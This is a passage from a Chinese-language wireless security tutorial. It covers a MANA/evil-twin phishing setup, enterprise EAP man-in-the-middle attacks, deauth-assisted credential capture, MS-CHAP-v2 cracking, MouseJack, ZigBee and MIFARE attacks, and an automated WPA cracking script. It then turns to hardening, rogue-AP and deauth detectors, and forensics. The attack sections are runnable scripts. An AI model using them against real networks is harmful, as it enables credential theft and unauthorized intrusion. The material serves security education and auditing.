cat > mana.conf << 'EOF'
interface=wlan0
channel=6
mana_wpaout=/tmp/mana.hashes
mana_loud=1
mana_macacl=1
hw_mode=g
EOF
sudo hostapd-mana mana.conf &
# 4. 配置网络与钓鱼服务
sudo ip addr add 10.0.0.1/24 dev $AP_IFACE
sudo dnsmasq --interface=$AP_IFACE \
--dhcp-range=10.0.0.10,10.0.0.100,12h \
--address=/#/10.0.0.1 &
cd phishing_portal && python3 server.py &
echo "MANA攻击运行中,SSID库: $(wc -l < ssids_collected.txt)条"
九、企业级WiFi攻击
9.1 802.1X/EAP认证流程
企业级WPA2/WPA3-Enterprise使用IEEE 802.1X端口认证与EAP(Extensible Authentication Protocol):
- 关联前:STA与AP完成开放认证与关联,端口处于"未授权"状态。
- EAPOL Start:STA或AP发起EAP会话。
- EAP Identity:AP请求身份,STA回复用户名。
- EAP方法协商:认证服务器(RADIUS)与STA协商EAP方法。
- 方法特定交换:如PEAP建立TLS隧道,内层做MS-CHAP-v2。
- EAP Success:认证成功,RADIUS向AP发送Accept与MSK。
- 4-Way Handshake:AP与STA用MSK派生PMK,完成密钥安装。
9.2 EAP类型对比
| EAP类型 | 内层认证 | 证书 | 双向认证 | 常见漏洞 | 适用场景 |
|---|---|---|---|---|---|
| EAP-TLS | 客户端证书 | 客户端+服务器 | 是 | 弱 | 高安全要求 |
| PEAP | MS-CHAP-v2 | 仅服务器 | 是 | 内层可被破解 | 主流企业 |
| EAP-TTLS | PAP/CHAP/MS-CHAP | 仅服务器 | 是 | 内层明文风险 | 灵活 |
| EAP-FAST | PAC | 可选 | 是 | PAC分发风险 | Cisco环境 |
| LEAP | MS-CHAP-v1 | 无 | 否 | 已破解 | 已废弃 |
| EAP-MD5 | MD5挑战 | 无 | 否 | 无双向认证 | 不推荐 |
9.3 EAP中间人攻击
PEAP/EAP-TTLS仅服务器端持有证书,客户端若不验证证书则可被MITM:
bash
# 使用hostapd-wpe实现EAP MITM
git clone https://github.com/OpenSecurityResearch/hostapd-wpe.git
cd hostapd-wpe
make
cat > hostapd-wpe.conf << 'EOF'
interface=wlan0
ssid=CorpWiFi
channel=6
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/ca.pem
server_cert=/etc/hostapd-wpe/server.pem
private_key=/etc/hostapd-wpe/server.key
private_key_passwd=whatever
dh_file=/etc/hostapd-wpe/dh.pem
eap_fast=1
EOF
sudo ./hostapd-wpe hostapd-wpe.conf
攻击流程:客户端连接伪AP,hostapd-wpe用自签证书建立TLS隧道,内层捕获MS-CHAP-v2挑战响应。
9.4 使用eaphammer
eaphammer是更现代化的EAP攻击工具:
bash
# 安装
git clone https://github.com/s0lst1c3/eaphammer.git
cd eaphammer
./kali-setup
# 启动PEAP攻击
sudo ./eaphammer \
--interface wlan0 \
--channel 6 \
--auth wpa-eap \
--essid "CorpWiFi" \
--peap \
--cert /path/to/cert.pem \
--key /path/to/key.pem
# 捕获凭据保存至
ls ./eaphammer-workspace/captured/
# 转换为hashcat格式破解
asleap -C challenge -R response -W wordlist.txt
9.5 证书伪造与凭据破解
bash
# 1. 生成自签CA
openssl genrsa -out ca.key 2048
openssl req -new -x509 -key ca.key -out ca.crt \
-days 365 -subj "/CN=CorpCA"
# 2. 签发服务器证书
openssl genrsa -out server.key 2048
openssl req -new -key server.key -out server.csr \
-subj "/CN=radius.corp.com"
openssl x509 -req -in server.csr -CA ca.crt \
-CAkey ca.key -CAcreateserial -out server.crt \
-days 365
# 3. 破解捕获的MS-CHAP-v2(asleap)
asleap -r captured.pcap -W wordlist.txt
# 4. hashcat破解NTLM(MS-CHAP-v2本质)
# 从捕获数据提取NTLM挑战响应
python3 parse_ntlm.py captured.pcap > ntlm.hash
sudo hashcat -m 5500 ntlm.hash wordlist.txt
9.6 完整企业攻击流程
bash
#!/bin/bash
# eap_mitm.sh - 企业级EAP MITM攻击流程
AP_IFACE=wlan0
TARGET_SSID="CorpWiFi"
TARGET_CHANNEL=6
# 1. 启动eaphammer伪AP
sudo ./eaphammer \
--interface $AP_IFACE \
--channel $TARGET_CHANNEL \
--auth wpa-eap \
--essid "$TARGET_SSID" \
--cert ./certs/server.crt \
--key ./certs/server.key \
--phase2-method mschapv2 \
--logfile eap_capture.log &
# 2. 配置DHCP(eaphammer自动处理)
# 等待客户端连接并捕获凭据
# 3. deauth合法AP加速客户端转向伪AP
sudo aireplay-ng -0 5 -a LEGIT_BSSID wlan1 &
# 4. 监控捕获进度
tail -f eap_capture.log
# 5. 离线破解NTLM
python3 extract_creds.py eap_capture.log > ntlm.txt
sudo hashcat -m 5500 ntlm.txt rockyou.txt
十、蓝牙与无线的其他攻击面
10.1 蓝牙协议安全
蓝牙工作于2.4GHz ISM频段,分Classic(BR/EDR)与BLE(Bluetooth Low Energy):
- Classic蓝牙:使用L2CAP/RFCOMM协议栈,历史漏洞集中在配对与L2CAP层。
- BLE:面向物联网,GATT协议栈,配对模式(Just Works/Passkey/Out of Band)安全性差异大。
- 常见风险:蓝牙设备发现广播泄露MAC;Just Works配对无认证;蓝牙PIN可离线破解;GATT服务未授权访问。
10.2 BlueBorne漏洞
BlueBorne(2017年披露)影响数十亿蓝牙设备,无需配对即可远程执行代码:
- CVE-2017-1000250:Linux BlueZ L2CAP堆溢出。
- CVE-2017-1000251:Linux BlueZ BNEP信息泄露。
- CVE-2017-14315:Android L2CAP堆溢出。
- CVE-2017-1000252:Windows BNEP堆溢出。
bash
# 检测BlueBorne(需蓝牙接口)
sudo hciconfig hci0 up
sudo hcitool lescan
sudo l2ping -c 5 -s 600 AA:BB:CC:DD:EE:FF
# 使用BlueBorne探测脚本
git clone https://github.com/Akabe1/BlueBorne.git
cd BlueBorne && python3 blueborne_scan.py
10.3 无线鼠标键盘劫持(MouseJack)
2.4GHz无线键鼠使用专有协议(Logitech Unifying等),许多实现未加密或加密弱:
- ** keystroke injection**:攻击者伪造键盘HID帧注入按键序列。
- AES key recovery:部分协议密钥派生缺陷可恢复AES密钥。
- 设备劫持:配对过程无认证可被劫持。
bash
# 使用MouseJack工具(JackIt)
git clone https://github.com/Phospher/JackIt.git
cd JackIt
sudo python jackit.py -k test_keys.txt
# 硬件:Crazyradio 2.4GHz nRF24LU1+ USB dongle
# 扫描附近键鼠设备
sudo python jackit.py -s
10.4 ZigBee安全分析
ZigBee用于智能家居与工业物联网,基于IEEE 802.15.4:
- 默认密钥:许多厂商使用全局默认密钥,一处泄露全网沦陷。
- 密钥离线:密钥更新阶段密钥可被嗅探。
- 重放攻击:部分实现缺少计数器防重放。
bash
# 使用Killerbee与ATMEL RZUSBSTICK
sudo zbassocd -i /dev/ttyUSB0
# 嗅探ZigBee流量
sudo zbdump -i /dev/ttyUSB0 -c 11
# 离线密钥破解
zbkey -f capture.pcap
10.5 RFID/NFC安全
NFC/RFID广泛用于门禁与支付:
- MIFARE Classic:Crypto-1算法已破解,可用Proxmark3读写。
- MIFARE DESFire:DES/AES加密,较安全但侧信道风险存在。
- UID克隆:只读UID卡可被克隆到UID可写卡。
bash
# Proxmark3操作示例
proxmark3> hf 14a reader
proxmark3> hf mf chk 0 A f default_keys.txt
proxmark3> hf mf nested 0 A d
proxmark3> hf mf dump
10.6 攻击方式对比表
| 无线技术 | 频段 | 典型漏洞 | 攻击工具 | 难度 | 影响范围 |
|---|---|---|---|---|---|
| WiFi (802.11) | 2.4/5/6GHz | 握手破解/降级 | aircrack-ng/hashcat | 中 | 个人/企业 |
| 蓝牙Classic | 2.4GHz | BlueBorne/L2CAP | BlueZ工具 | 中高 | 移动设备 |
| BLE | 2.4GHz | 配对/GATT嗅探 | btlejack/nRF Connect | 中 | 物联网 |
| 无线键鼠 | 2.4GHz | MouseJack注入 | JackIt/Crazyradio | 低 | 桌面设备 |
| ZigBee | 2.4GHz | 默认密钥/嗅探 | Killerbee | 中 | 智能家居 |
| RFID/NFC | 125KHz/13.56MHz | Crypto-1破解/克隆 | Proxmark3 | 中 | 门禁/支付 |
十一、无线安全审计工具
11.1 工具对比表
| 工具名称 | 功能定位 | 主要能力 | 优势 | 局限 |
|---|---|---|---|---|
| aircrack-ng | 综合套件 | 监控/握手/注入/破解 | 全流程覆盖 | 需命令组合 |
| reaver | WPS破解 | Pixie-Dust/PIN爆破 | 针对WPS高效 | 多数AP已修复 |
| bully | WPS破解(替代) | Pixie-Dust改进 | 比reaver稳定 | 场景窄 |
| wifite | 自动化套件 | 一键WEP/WPA破解 | 易用 | 灵活性差 |
| kismet | 被动扫描 | 隐藏SSID/取证 | 隐蔽被动 | 不支持注入 |
| fern-wifi-cracker | GUI自动化 | WEP/WPA/Evil Twin | 图形界面 | 依赖旧库 |
| Eaphammer | 企业攻击 | EAP MITM/Evil Twin | 现代化集成 | 配置复杂 |
| hostapd-wpe | EAP攻击 | PEAP凭据捕获 | 经典稳定 | 维护停滞 |
| hcxdumptool | 握手捕获 | PMKID/被动嗅探 | 隐蔽高效 | 命令参数多 |
| Bettercap | 综合MITM | ARP/DNS/HTTP代理 | 模块化 | 无线注入弱 |
11.2 自动化破解脚本
bash
#!/bin/bash
# auto_crack.sh - 自动化WiFi审计脚本
# 用法: ./auto_crack.sh <interface> <target_bssid> <channel> <client_mac> <wordlist>
IFACE=$1
BSSID=$2
CHANNEL=$3
CLIENT=$4
WORDLIST=$5
WORKDIR=/tmp/wifi_audit_$(date +%s)
mkdir -p $WORKDIR
echo "[*] 工作目录: $WORKDIR"
# 1. 激活monitor模式
sudo airmon-ng check kill
sudo airmon-ng start $IFACE
MON_IFACE="${IFACE}mon"
# 2. 锁定信道并捕获
sudo airodump-ng -c $CHANNEL --bssid $BSSID \
--write $WORKDIR/capture --output-format pcap $MON_IFACE &
AIRODUMP_PID=$!
sleep 3
# 3. 尝试PMKID(无客户端)
echo "[*] 尝试PMKID捕获..."
sudo hcxdumptool -i $MON_IFACE \
--enable_status=1 \
-o $WORKDIR/pmkid.pcapng \
--filter_list=$BSSID \
--filter_mode=2 &
PMKID_PID=$!
sleep 30
sudo kill $PMKID_PID 2>/dev/null
# 4. 若有客户端,deauth触发握手
if [ -n "$CLIENT" ]; then
echo "[*] 发送deauth触发握手..."
sudo aireplay-ng -0 5 -a $BSSID -c $CLIENT $MON_IFACE
sleep 5
fi
# 5. 转换捕获文件
sudo hcxpcapngtool -o $WORKDIR/hash.hc22000 \
--essid-pos=1 $WORKDIR/capture-01.cap \
$WORKDIR/pmkid.pcapng 2>/dev/null
# 6. 破解
if [ -f $WORKDIR/hash.hc22000 ]; then
echo "[*] 启动hashcat破解..."
sudo hashcat -m 22000 $WORKDIR/hash.hc22000 $WORDLIST
else
echo "[!] 未捕获到握手/PMKID"
fi
# 7. 清理
sudo kill $AIRODUMP_PID 2>/dev/null
sudo airmon-ng stop $MON_IFACE
echo "[*] 审计完成,结果: $WORKDIR"
11.3 完整审计流程
bash
#!/bin/bash
# full_audit.sh - 无线安全审计完整流程
PHASE1_RECON=1
PHASE2_WEP=0 # 默认关闭,仅在发现WEP时启用
PHASE3_WPA2=1
PHASE4_WPA3=1
PHASE5_ENTERPRISE=0
PHASE6_REPORT=1
IFACE=wlan0
OUT=/tmp/audit_$(date +%Y%m%d)
# 阶段1: 侦察
if [ $PHASE1_RECON -eq 1 ]; then
echo "### 阶段1: 无线侦察 ###"
sudo airmon-ng start $IFACE
sudo timeout 120 airodump-ng ${IFACE}mon \
--write $OUT/recon --output-format pcap,csv,kismet
echo "[*] AP清单:"
awk -F, 'NR>2{print $14,$7,$8,$1}' $OUT/recon-01.csv | sort
fi
# 阶段2: WEP(条件触发)
if [ $PHASE2_WEP -eq 1 ]; then
echo "### 阶段2: WEP破解 ###"
# 见auto_crack.sh
fi
# 阶段3: WPA2
if [ $PHASE3_WPA2 -eq 1 ]; then
echo "### 阶段3: WPA2 PSK ###"
# 自动化握手+破解
fi
# 阶段4: WPA3
if [ $PHASE4_WPA3 -eq 1 ]; then
echo "### 阶段4: WPA3/SAE分析 ###"
# SAE实现指纹与降级检测
fi
# 阶段5: 企业级
if [ $PHASE5_ENTERPRISE -eq 1 ]; then
echo "### 阶段5: 802.1X攻击 ###"
# EAP MITM
fi
# 阶段6: 报告
if [ $PHASE6_REPORT -eq 1 ]; then
echo "### 阶段6: 生成报告 ###"
python3 generate_report.py $OUT
fi
十二、企业WiFi安全加固
12.1 WPA3部署指南
bash
# hostapd WPA3-Personal配置示例
cat > hostapd_wpa3.conf << 'EOF'
interface=wlan0
ssid=SecureWPA3
channel=6
hw_mode=g
ieee80211n=1
# WPA3配置
wpa=2
wpa_key_mgmt=SAE
sae_password=StrongPassphrase13chars
rsn_pairwise=CCMP
ieee80211w=2
# SAE参数优化
sae_groups=19 20 21
sae_pwe=2
sae_pk=1
# 漫游
bssid=00:11:22:33:44:55
EOF
sudo hostapd hostapd_wpa3.conf
部署要点:
- 关闭WPA2-PSK回退(防降级)。
- 启用PMF强制(ieee80211w=2)。
- 使用SAE-PK(公钥)增强反Evil Twin。
- 密码长度≥13字符。
12.2 802.1X企业级认证配置(FreeRADIUS)
bash
# 安装FreeRADIUS
sudo apt install freeradius freeradius-utils
# 配置客户端(AP)
cat >> /etc/freeradius/3.0/clients.conf << 'EOF'
client ap_192_168_1_10 {
ipaddr = 192.168.1.10
secret = StrongSharedSecret
nas_type = other
require_message_authenticator = yes
}
EOF
# 配置用户(PEAP-MS-CHAP-v2)
cat > /etc/freeradius/3.0/mods-config/files/authorize << 'EOF'
alice Cleartext-Password := "P@ssw0rd123!"
Reply-Message := "Hello %{User-Name}"
bob NT-Password := "0CB6948905EA9296DCF6304DB8D0B5A5"
Reply-Message := "Hello %{User-Name}"
EOF
# 生成服务器证书
cd /etc/freeradius/3.0/certs
./bootstrap
# 启动并测试
sudo systemctl restart freeradius
radtest alice P@ssw0rd123! 127.0.0.1 0 StrongSharedSecret
AP侧配置:
# hostapd 802.1X配置
interface=wlan0
ssid=CorpWiFi
ieee8021x=1
eap_server=1
eapol_version=2
auth_server_addr=192.168.1.1
auth_server_port=1812
auth_server_shared_secret=StrongSharedSecret
wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
ieee80211w=1
12.3 WIDS/WIPS无线入侵检测
WIDS/WIPS用于持续监测无线威胁:
- Rogue AP检测:比对授权BSSID/ESSID清单。
- Evil Twin告警:监测同SSID多MAC、信号异常。
- Deauth检测:统计管理帧速率。
- Karma检测:发现异常Probe Response。
bash
# 使用Kismet作为WIDS
sudo kismet_server -c wlan0mon,wlan1mon \
--logdir /var/log/kismet \
--override-modules alert
# 配置告警
cat >> /etc/kismet/kismet.conf << 'EOF'
alert_types=*,!NETSTUMBLER,!NETSTALKER
alert_backlog=10
alert_log=/var/log/kismet/alerts.log
EOF
# 使用Fern-wifi-cracker GUI监测
# 或部署商业方案如Aruba RFProtect/Cisco MSE
12.4 信号覆盖安全
bash
# 调整AP发射功率(降低越界辐射)
sudo iw dev wlan0 set txpower fixed 20dBm
# 定向天线减少覆盖外泄
# 使用面板天线/八木天线替代全向天线
# 频段规划减少干扰
# 2.4GHz仅用1/6/11信道
# 5GHz使用DFS信道避免拥堵
12.5 访客网络隔离方案
# VLAN隔离访客网络
# 访客SSID关联至VLAN 100,仅允许互联网
# 内部SSID关联至VLAN 10,可访问内网
# 防火墙规则示例(iptables)
iptables -A FORWARD -i wlan_guest -o wlan_internal -j DROP
iptables -A FORWARD -i wlan_guest -o eth_wan -j ACCEPT
iptables -A FORWARD -i wlan_guest -d 192.168.0.0/16 -j DROP
# 访客Portal认证
# 使用CoovaChilli或PacketFence提供Captive Portal
12.6 安全配置清单
| 序号 | 配置项 | 推荐设置 | 验证方法 |
|---|---|---|---|
| 1 | 加密协议 | WPA3-SAE或WPA2-CCMP | 扫描Probe响应 |
| 2 | PSK长度 | ≥20字符随机 | 密码策略审计 |
| 3 | PMF | 强制启用 | 测试deauth无效 |
| 4 | 管理员密码 | 非默认/复杂 | Web界面验证 |
| 5 | 固件版本 | 最新补丁 | 版本查询 |
| 6 | WPS | 禁用 | 扫描WPS状态 |
| 7 | 远程管理 | 禁用WAN侧 | 端口扫描 |
| 8 | 访客隔离 | VLAN隔离 | 跨网段测试 |
| 9 | 默认SSID | 修改为非默认 | 扫描确认 |
| 10 | 802.1X | 企业强制PEAP+证书校验 | 证书验证测试 |
| 11 | 信号功率 | 最小化覆盖 | 边界信号测量 |
| 12 | 日志审计 | 启用并集中收集 | SIEM接收验证 |
| 13 | 频段规划 | 2.4GHz限1/6/11 | 信道扫描 |
| 14 | 隐藏SSID | 不依赖隐藏作安全 | 扫描隐藏AP |
| 15 | Rogue AP监测 | WIDS部署 | 告警测试 |
| 16 | 密码轮换 | 季度更换 | 策略审计 |
| 17 | 终端准入 | NAC+802.1X | 接入测试 |
十三、无线安全检测与取证
13.1 无线流量分析
bash
# Wireshark显示过滤器
# 仅显示EAPOL帧(四次握手)
eapol
# 仅显示Beacon帧
wlan.fc.type_subtype == 0x0008
# 仅显示Probe Request
wlan.fc.type_subtype == 0x0004
# 指定BSSID过滤
wlan.addr == 00:11:22:33:44:55
# 仅显示deauth帧
wlan.fc.type_subtype == 0x000c
# 显示认证帧
wlan.fc.type_subtype == 0x000b
# tshark命令行分析
sudo tshark -r capture.pcap -Y "eapol" \
-T fields -e wlan.sa -e wlan.da -e eapol.type
# 统计各类型帧数量
sudo tshark -r capture.pcap -Y "wlan" -z io,phs
13.2 异常AP检测
python
#!/usr/bin/env python3
# detect_rogue_ap.py - 异常AP检测脚本
from scapy.all import sniff, Dot11Beacon, Dot11
import time
AUTHORIZE_BSSIDS = {
"00:11:22:33:44:55": "CorpWiFi-2.4",
"AA:BB:CC:DD:EE:FF": "CorpWiFi-5",
}
AUTH_ESSIDS = set(AUTHORIZE_BSSIDS.values())
seen = {}
def detect(pkt):
if pkt.haslayer(Dot11Beacon):
bssid = pkt[Dot11].addr2.upper()
essid = pkt[Dot11Beacon].info.decode(errors='ignore')
# 检查授权BSSID是否使用未授权ESSID
if bssid in AUTHORIZE_BSSIDS:
if essid and essid != AUTHORIZE_BSSIDS[bssid]:
print(f"[!] BSSID冲突: {bssid} 声称是 '{essid}' (应为 '{AUTHORIZE_BSSIDS[bssid]}')")
# 检查授权ESSID是否出现在非授权BSSID
if essid in AUTH_ESSIDS and bssid not in AUTHORIZE_BSSIDS:
if bssid not in seen:
seen[bssid] = time.time()
print(f"[!] Rogue AP: '{essid}' 使用未授权BSSID {bssid}")
print("[*] 监控中...")
sniff(iface="wlan0mon", prn=detect, store=0)
13.3 deauth攻击检测
python
#!/usr/bin/env python3
# detect_deauth.py - deauth攻击检测
from scapy.all import sniff, Dot11Deauth, Dot11
from collections import defaultdict
import time
DEAUTH_THRESHOLD = 10 # 10秒内10个deauth告警
deauth_counts = defaultdict(list)
def detect(pkt):
if pkt.haslayer(Dot11Deauth):
src = pkt[Dot11].addr2.upper()
dst = pkt[Dot11].addr1.upper()
now = time.time()
deauth_counts[src].append(now)
# 清理过期记录
deauth_counts[src] = [t for t in deauth_counts[src] if now - t < 10]
if len(deauth_counts[src]) > DEAUTH_THRESHOLD:
print(f"[!] 疑似deauth泛洪: 源{src} 10秒内{len(deauth_counts[src])}次")
print(f" 目标: {dst}")
# 记录告警至日志
with open('/var/log/deauth_alerts.log','a') as f:
f.write(f"{time.ctime()}: {src} -> {dst} "
f"({len(deauth_counts[src])}次)\n")
deauth_counts[src].clear()
print("[*] deauth检测中...")
sniff(iface="wlan0mon", prn=detect, store=0,
lfilter=lambda p: p.haslayer(Dot11Deauth))
13.4 Karma检测方案
bash
# Karma检测:监测异常Probe Response
sudo tshark -i wlan0mon -Y "wlan.fc.type_subtype == 0x0005" \
-T fields -e wlan.sa -e wlan.da -e wlan_mgt.ssid 2>/dev/null | \
awk '{count[$1" "$3]++} END{for(k in count) if(count[k]>5) print k, count[k]}'
# 异常:同一AP对多种不同SSID都回复Probe Response
# 使用Kismet的Karma检测模块
sudo kismet -c wlan0mon --override-modules karma_detect
13.5 无线取证方法
取证流程应遵循:
- 现场保全:记录物理位置、设备状态、时间戳。
- 完整抓包:使用多信道或跳频抓包,避免遗漏。
- 哈希校验:对抓包文件计算SHA256。
- 链路证据:保存原始pcapng,不做过滤修改。
- 设备识别:记录网卡型号、驱动版本、固件。
- 时间同步:确认系统时间与NTP对齐。
bash
# 完整取证脚本
#!/bin/bash
CASE_ID=$1
IFACE=wlan0mon
EVIDENCE=/evidence/$CASE_ID
mkdir -p $EVIDENCE
# 时间戳与系统信息
date > $EVIDENCE/timestamp.txt
uname -a > $EVIDENCE/system_info.txt
iw dev $IFACE info > $EVIDENCE/interface_info.txt
# 多信道跳频抓包60分钟
sudo timeout 3600 python3 multichannel_capture.py \
-i $IFACE -o $EVIDENCE/capture.pcapng
# 计算哈希
sha256sum $EVIDENCE/capture.pcapng > $EVIDENCE/capture.sha256
# 生成摘要
cat > $EVIDENCE/summary.txt << EOF
案件编号: $CASE_ID
取证时间: $(date)
抓包时长: 60分钟
网卡: $(iw dev $IFACE info | grep Interface)
哈希: $(cat $EVIDENCE/capture.sha256)
EOF
echo "[*] 取证完成: $EVIDENCE"
13.6 检测脚本编写
bash
#!/bin/bash
# wifi_health_check.sh - 无线健康检查
IFACE=wlan0mon
REPORT=/tmp/wifi_health_$(date +%s).txt
echo "=== 无线健康检查报告 ===" > $REPORT
echo "时间: $(date)" >> $REPORT
echo "" >> $REPORT
echo "### 1. 弱加密AP检测 ###" >> $REPORT
sudo timeout 60 airodump-ng $IFACE --output-format csv -w /tmp/health 2>/dev/null
awk -F, 'NR>2 && ($7 ~ /WEP/ || $8 ~ /TKIP/) {
print "告警: "$1" "$4" 加密:"$7" "$8
}' /tmp/health-01.csv >> $REPORT
echo "### 2. 默认SSID检测 ###" >> $REPORT
awk -F, 'NR>2 {
if ($14 ~ /NETGEAR|Linksys|TP-LINK|default|dlink/)
print "告警: "$1" 默认SSID: "$14
}' /tmp/health-01.csv >> $REPORT
echo "### 3. 隐藏SSID检测 ###" >> $REPORT
awk -F, 'NR>2 && $14 ~ /^ +$/ {
print "信息: "$1" 隐藏SSID"
}' /tmp/health-01.csv >> $REPORT
echo "### 4. WPS状态检测 ###" >> $REPORT
# 使用reaver扫描WPS
sudo timeout 60 wash -i $IFACE -C >> $REPORT 2>&1
echo "### 5. WPA3覆盖率 ###" >> $REPORT
TOTAL=$(awk -F, 'NR>2 && $7!=""{c++} END{print c}' /tmp/health-01.csv)
WPA3=$(awk -F, 'NR>2 && $7 ~ /WPA3/{c++} END{print c+0}' /tmp/health-01.csv)
echo "总AP: $TOTAL, WPA3: $WPA3, 覆盖率: $(echo "scale=1;$WPA3*100/$TOTAL" | bc)%" >> $REPORT
cat $REPORT
echo "[*] 报告保存至 $REPORT"
十四、总结与参考资源
14.1 WiFi安全演进路线图
WiFi安全协议的演进体现了攻防博弈的循环:
- 1997 WEP:基于RC4,因IV重用与弱密钥被彻底破解。
- 2003 WPA:引入TKIP作为过渡,MIC防御篡改但RC4仍在。
- 2004 WPA2:强制AES-CCMP,四次握手暴露离线字典弱点。
- 2017 KRACK:四次握手重装漏洞攻破WPA2密钥重置。
- 2018 WPA3:SAE抗离线字典,前向保密,PMF强制。
- 2024 Dragonstorm:WPA3 SAE实现层侧信道与DoS漏洞披露。
- 未来:802.11bn(WiFi 8)与AI驱动的自适应安全,零信任无线接入。
防御侧应:
- 强制WPA3-SAE或WPA2-802.1X。
- 启用PMF。
- 部署WIDS持续监测。
- 终端证书校验与NAC准入。
- 季度审计与固件更新。
14.2 工具速查表
| 任务场景 | 首选工具 | 备选工具 | 关键命令 |
|---|---|---|---|
| 监控模式激活 | airmon-ng | iw | airmon-ng start wlan0 |
| 被动扫描 | airodump-ng | kismet | airodump-ng wlan0mon |
| WEP破解 | aircrack-ng | wifite | aircrack-ng -z cap.cap |
| WPA2握手捕获 | airodump-ng | hcxdumptool | airodump-ng -c 6 --bssid X |
| WPA2破解 | hashcat | aircrack-ng | hashcat -m 22000 hash.hc22000 |
| PMKID捕获 | hcxdumptool | aireplay-ng | hcxdumptool -i wlan0mon |
| Deauth攻击 | aireplay-ng | mdk4 | aireplay-ng -0 5 -a MAC |
| Evil Twin | wifiphisher | airgeddon | wifiphisher -a wlan0 -j wlan1 |
| Karma/MANA | hostapd-mana | wifiphisher | hostapd-mana mana.conf |
| EAP MITM | eaphammer | hostapd-wpe | eaphammer --auth wpa-eap |
| WPS破解 | reaver | bully | reaver -i wlan0 -b MAC |
| 流量分析 | Wireshark/tshark | kismet | tshark -r cap -Y eapol |
| 异常检测 | Python+scapy | Kismet | 自定义嗅探脚本 |
14.3 参考资源列表
- RFC 7664:Dragonfly密码派生规范。
- IEEE 802.11-2020:无线LAN MAC与PHY层标准。
- WPA3 Specification:WiFi Alliance官方文档。
- aircrack-ng文档:https://www.aircrack-ng.org/
- hashcat Wiki:https://hashcat.net/wiki/
- hcxdumptool GitHub:https://github.com/ZerBea/hcxdumptool
- eaphammer GitHub:https://github.com/s0lst1c3/eaphammer
- hostapd-wpe:https://github.com/aircrack-ng/aircrack-ng(含分支)
- Kismet:https://www.kismetwireless.net/
- Dragonstorm研究论文:USENIX Security 2024相关披露。
- FMS攻击论文:Fluhrer, Mantin, Shamir, 2001。
- PTW攻击论文:Tews, Weinmann, Pyshkin, 2007。
- MouseJack研究:https://www.bastille.net/rogue-radio
- BlueBorne:https://www.armis.com/blueborne/
14.4 合规声明
【提示】 本文所述所有技术与工具仅用于授权安全测试、合规审计与教育研究。在中华人民共和国境内,未经授权入侵他人无线网络、非法获取传输数据、干扰无线电通信秩序,依据《网络安全法》第二十七条、《无线电管理条例》第七十六条及《刑法》第二百八十五条(非法侵入计算机信息系统罪)、第二百八十六条(破坏计算机信息系统罪)、第二百八十八条(扰乱无线电通讯管理秩序罪)追究法律责任。在任何实践前,务必:1) 获得网络所有者书面授权;2) 限定测试范围与时间;3) 遵守最小影响原则;4) 妥善保存取证证据。安全研究的终极目标是提升防护而非制造危害。
WiFi安全的本质是开放介质与受限访问的持续博弈。从WEP的彻底失守到WPA3的协议级革新,每一代标准都在回应上一代的教训。作为安全从业者,我们既要掌握攻击者的视角以发现弱点,更要将这些知识转化为可落地的防御方案。无线威胁不会消失,但通过系统化的加固、持续的监测与及时的响应,我们能让风险降至可接受的水平。
本文到此结束,涵盖从协议原理到攻防实战的完整知识体系。希望读者能在合规框架内将这些技术用于加固自有网络与推动行业安全提升。